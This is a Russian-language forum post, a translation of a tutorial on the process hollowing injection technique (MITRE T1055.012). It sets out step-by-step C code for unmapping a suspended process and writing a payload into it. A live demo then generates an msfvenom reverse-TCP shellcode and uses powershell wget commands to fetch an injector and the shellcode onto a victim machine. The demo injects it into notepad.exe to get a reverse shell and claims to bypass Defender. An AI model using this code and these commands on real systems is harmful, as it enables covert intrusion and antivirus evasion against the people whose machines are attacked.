• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Скрытие процесса (MITRE ID:T1055.012)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

В июле 2011 года Джон Лейтч из autosectools.com рассказал о методе, который он назвал в своем техническом документе здесь (https://www.autosectools.com/Process-Hollowing.pdf). С тех пор многие кампании вредоносного ПО, такие как Bandook и Ransom.Cryak, а также различные APT, использовали Process Hollowing для уклонения от защиты и повышения привилегий. В этой статье мы стремимся обсудить технические концепции, используемые в этой технике, в простой для понимания форме и продемонстрировать готовый к работе инструмент, который может выполнять очистку процессов портативным способом.

ТАКТИКА MITRE: уклонение от защиты (TA0005) и повышение привилегий (TA0004)
ID MITRE: внедрение процесса (T1055)
MITRE SUB ID: процесс выемки (T1055.012)

Предварительные требования

Чтобы полностью понять обсуждаемый процесс, необходимо понимать следующее:

- C/C++/C# с для Win32 API
- Регистры, PEB, управление памятью в ОС Windows
- Отладочный код


Процесс холловинг

Фундаментальная концепция довольно проста. В методе внедрения кода с очисткой процесса злоумышленник создает новый процесс в приостановленном состоянии, затем его образ удаляется из памяти (удаляется), вместо него записывается вредоносный двоичный файл, и, наконец, возобновляется состояние программы, которая выполняет внедренный код . Рабочий процесс техники таков:

Шаг 1: Создайте нового процесса в приостановленном состоянии:

- CreateProcessA() с установленным флагом CREATE_SUSPENDED

Шаг 2: Поменяйте местами содержимое его памяти (unmapping/hollowing ):

- NtUnmapViewOfSection()

Шаг 3: Введите вредоносную полезную нагрузку в этот скрытый регион:

-VirtualAllocEx: выделите новую память
- WriteProcessMemory(): испольщуйте для записи каждого из разделов вредоносного ПО для нацеливания на пространство процесса.

Шаг 4: Установите EAX в качестве точки входа:

- SetThreadContext()

Шаг 5: Запустите приостановленный поток:

- ResumeThread()

Программно говоря, в исходном коде для демонстрации использовался следующий код, который объясняется ниже.

Шаг 1: Создание нового процесса

Противник сначала создает новый процесс. Для создания доброкачественного процесса в приостановленном режиме используются функции:

- CreateProcessA() и флаг CREATE_SUSPENDED

Следующий код, фрагмент взят из оригинального источника здесь (https://www.autosectools.com/Process-Hollowing.pdf ). Объяснение следующее:

-pStartupInfo — указатель на структуру STARTUPINFO, определяющую внешний вид окна во время создания.

-pProcessInfo — это указатель на структуру PROCESS_INFORMATION, которая содержит сведения о процессе и его основном потоке. Он возвращает дескриптор с именем hProcess, который можно использовать для изменения пространства памяти созданного процесса.

- Эти два указателя требуются функции CreateProcessA для создания нового процесса.

- CreateProcessA создает новый процесс и его основной поток и вводит различные флаги. Одним из таких флагов является CREATE_SUSPENDED. Это создает процесс в приостановленном состоянии. Подробнее об этой структуре см. здесь( https://docs.microsoft.com/en-us/wi...hreadsapi/nf-processthreadsapi-createprocessa ).

- Если создание процесса не удалось, функция возвращает 0.

- Наконец, если указатель pProcessInfo не возвращает дескриптор, значит, процесс не был создан и код завершается.

C:
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
                0,
                pDestCmdLine,
                0,
                0,
                0,
                CREATE_SUSPENDED,
                0,
                0,
                pStartupInfo,
                pProcessInfo
);
 
if (!pProcessInfo->hProcess)
{
                printf("Error creating process\r\n");
                return;
}


Шаг 2: Сбор информации

- Прочитайте базовый адрес созданного процесса

Нам нужно знать базовый адрес созданного процесса, чтобы мы могли использовать его для копирования этого блока памяти в блок памяти созданного процесса позже. Это можно сделать с помощью:

NtQueryProcessInformation + ReadProcessMemory

Кроме того, это можно легко сделать с помощью одной функции:

ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);

- Прочитайте формат заголовков NT (из структуры PE) из адреса образа PEB.

Это важно, так как это содержит информацию, относящуюся к ОС, которая необходима в дальнейшем коде. Это можно сделать с помощью ReadRemoteImage(). pImage — это указатель на дескриптор hProcess и ImageBaseAddress.

C:
PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);

Шаг 3: Скрытие содержимого памяти

- Скрытие

После получения заголовков NT мы можем удалить образ из памяти.

- Получить дескриптор NTDLL, файла, содержащего функции ядра Windows.
- HMODULE получает дескриптор hNTDLL, который указывает на базовый адрес NTDLL, используя GetModuleHandleA()
- GetProcAddress() принимает ввод NTDLL
- Дескриптор ntdll, который содержит имя переменной "NtUnmapViewOfSection", хранящееся в указанной DLL
- Создать переменную NtUnmapViewOfSection, которая вырезает процесс из памяти

C:
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");                                                                                                                                

FARPROC fpNtUnmapViewOfSection = GetProcAddress
(
            hNTDLL,                                                                                            
            "NtUnmapViewOfSection"                                    
);
 
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;  
 
DWORD dwResult = NtUnmapViewOfSection
(
            pProcessInfo->hProcess,
            pPEB->ImageBaseAddress
);


- Подкачка содержимого памяти

Теперь нам нужно отобразить новый блок памяти для исходного образа. Здесь вредоносное ПО будет скопировано в новый блок памяти. Для этого нам необходимо предоставить:

- Хэндл для обработки,
- Базовый адрес,
- Размер образа,
- Тип выделения MEM_COMMIT | MEM_RESERVE означает, что мы запросили и зарезервировали определенный непрерывный блок страниц памяти.
- Константа по защите памяти. Читайте здесь (https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants). PAGE_EXECUTE_READWRITE -> включает RWX для выделенного блока памяти.

C:
PVOID pRemoteImage = VirtualAllocEx
(
            pProcessInfo->hProcess,
            pPEB->ImageBaseAddress,
            pSourceHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
);


Шаг 4. Скопируйте этот новый блок памяти (вредоносное ПО) в память приостановленного процесса.

Здесь, раздел за разделом, наш новый блок памяти (pSectionDestination) копируется в виртуальный адрес памяти процесса (pSourceImage).

C:
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
            if (!pSourceImage->Sections[x].PointerToRawData)
                        continue;
            PVOID pSectionDestination =          (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
}


Шаг 5: Перебазирование исходного образа

Поскольку исходный образ был загружено по адресу ImageBaseAddress, отличный от конечного процесса, его необходимо перебазировать, чтобы двоичный файл правильно разрешал адреса статических переменных и другие абсолютные адреса. Загрузчик Windows знает, как исправлять образы в памяти, ссылаясь на таблицу перемещений, находящуюся в двоичном файле.

C:
for (DWORD y = 0; y < dwEntryCount; y++)
{
            dwOffset += sizeof(BASE_RELOCATION_ENTRY);
            if (pBlocks[y].Type == 0)
                        continue;
            DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
            DWORD dwBuffer = 0;
            ReadProcessMemory
            (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
            );
            dwBuffer += dwDelta;
            BOOL bSuccess = WriteProcessMemory
            (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
            );
}


Шаг 6: Установка EAX в качестве точки входа и возобновление потока

Теперь мы получим контекст потока, установим EAX в точку входа с помощью SetThreadContext и возобновим выполнение с помощью ResumeThread().

- EAX — это регистр специального назначения, в котором хранится возвращаемое значение функции. Выполнение кода начинается там, где указывает EAX.

- Контекст потока включает в себя всю информацию, необходимую потоку для беспрепятственного возобновления выполнения, включая набор регистров ЦП и стек потока.

C:
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pProcessInfo->hThread, pContext)
DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
pContext->Eax = dwEntrypoint;                               //EAX set to the entrypoint
SetThreadContext(pProcessInfo->hThread, pContext)
ResumeThread(pProcessInfo->hThread)                 //Thread resumed

Шаг 7. Замена подлинного процесса пользовательским кодом

Наконец, нам нужно передать наш пользовательский код, который должен быть заменен подлинным процессом. В коде, предоставленном Джоном Лейтчем, используется функция CreateHallowedProcess, которая инкапсулирует весь код, который мы обсуждали в шагах с 1 по 6, и принимает в качестве аргумента имя подлинного процесса (здесь svchost) и путь к пользовательский код, который нам нужно внедрить (здесь HelloWorld.exe)

C:
pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess("svchost",pPath);

Демонстрация № 1

Официальный код можно загрузить и проверить, а предоставленные EXE-файлы можно запустить с помощью Process Hollowing. Полный код можно скачать здесь (https://code.google.com/archive/p/process-hollowing/downloads). После загрузки извлеките и запустите ProcessHollowing.exe, который содержит весь код, описанный выше. Как вы могли видеть, файл создал новый процесс и внедрил в него HelloWorld.exe.

1652865854402.png


Проверив это в Process Explorer, мы видим, что новый процесс порождает svchost, но HelloWorld.exe не упоминается, что означает, что EXE теперь замаскирован.

1652865864618.png


ПРИМЕЧАНИЕ: Чтобы изменить этот код и внедрить свою собственную оболочку (сгенерированную с помощью таких инструментов, как msfvenom), можно выполнить вручную с помощью Visual Studio и пересобрать исходный код, но это выходит за рамки этой статьи.

Демонстрация № 2

Райан Ривз создал PoC техники, которую можно найти здесь (https://github.com/reevesrs24/EvasiveProcessHollowing). В части 1 PoCа он написал исполняемый файл Process Hollowing exe, который содержит небольшое всплывающее окно кода PoC, которое внедряется в законный процесс explorer.exe. Это автономный EXE-файл, и, следовательно, жестко запрограммированное всплывающее окно можно заменить шелл-кодом msfvenom, чтобы дать обратную оболочку вашему собственному C2-серверу. Его можно запустить так, и вы получите небольшое всплывающее окно:

1652865876086.png


После проверки в проводнике процессов мы видим, что новый процесс explorer.exe был создан с тем же указанным идентификатором процесса, что указывает на то, что наш EXE-файл был успешно замаскирован с использованием техники пустого пространства.

1652865886949.png


Демонстрация 3: эксплоит в реальном времени

Выше мы видели два PoCа, но дело в том, что оба эти метода не подходят для начинающих и требуют знаний программирования для выполнения атаки в режиме реального времени. К счастью для нас, появился инструмент ProcessInjection.exe, созданный Чирагом Савлой (https://github.com/3xpl01tc0d3r/ProcessInjection ), который берет необработанный шелл-код в качестве входных данных из текстового файла и внедряет его в законный процесс, указанный пользователем. Его можно загрузить и скомпилировать с помощью Visual Studio для выпуска (перейдите в Visual Studio-> открыть файл .sln-> собрать для выпуска)

Теперь, во-первых, нам нужно создать наш шелл-код. Здесь я создаю шестнадцатеричный шеллкод для reverse_tcp в CMD.

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex

1652865921734.png


Теперь это вместе с нашим файлом ProcessInjection.exe можно перенести в систему-жертву. Затем используйте команду для запуска нашего шелл-кода, используя технику Process Hollowing. Здесь,

/t:3 Заданный процесс для скрытия

/f Определяет тип шеллкода. Здесь он шестнадцатеричный

/path: Полный путь к внедряемому шелл-коду. Здесь та же папка, поэтому указан только "hex.txt".

/ppath: Полный путь легитимного процесса, который будет создан.

powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
powershell wget 192.168.0.89/hex.txt -O hex.txt
ProcessInjection.exe /t:3 /f:hex /path:"hex.txt" /ppath:"c:\windows\system32\notepad.exe"

1652865962351.png


Теперь был создан notepad.exe, но с нашим собственным шелл-кодом, и мы успешно получили обратный шелл!!

1652865972285.png


Для нашего собственного любопытства мы проверили это на нашем локальном хосте с включенным защитником, и вы можете видеть, что процесс был завершен!

1652865983989.png


В обозревателе процессов мы видим, что новый notepad.exe был создан с тем же PID, с которым был создан наш новый процесс.

1652865994900.png


И, наконец, когда это было выполнено, защитник не сканировал никаких угроз, что свидетельствует о том, что мы успешно обошли антивирус.

1652866012327.png


ПРИМЕЧАНИЕ: Более новые версии Windows обнаружат это сканирование, поскольку более новые исправления предотвращают использование метода очистки процессов, отслеживая неотображенные сегменты в памяти.

Вывод

В статье обсуждался метод внедрения процесса, известный как Process Hollowing, при котором злоумышленник может добиться выполнения кода, создав безопасный новый процесс в приостановленном состоянии, внедрив в него пользовательский вредоносный код, а затем снова возобновив его выполнение. В статье обсуждалась часть исходного кода, описанная Джоном Лейтчем, и базовая разбивка кода, за которой следуют 3 примера PoCа, доступных на github. Надеюсь, вам понравилась статья. Спасибо за чтение.


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/process-hollowing-mitret1055-012/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх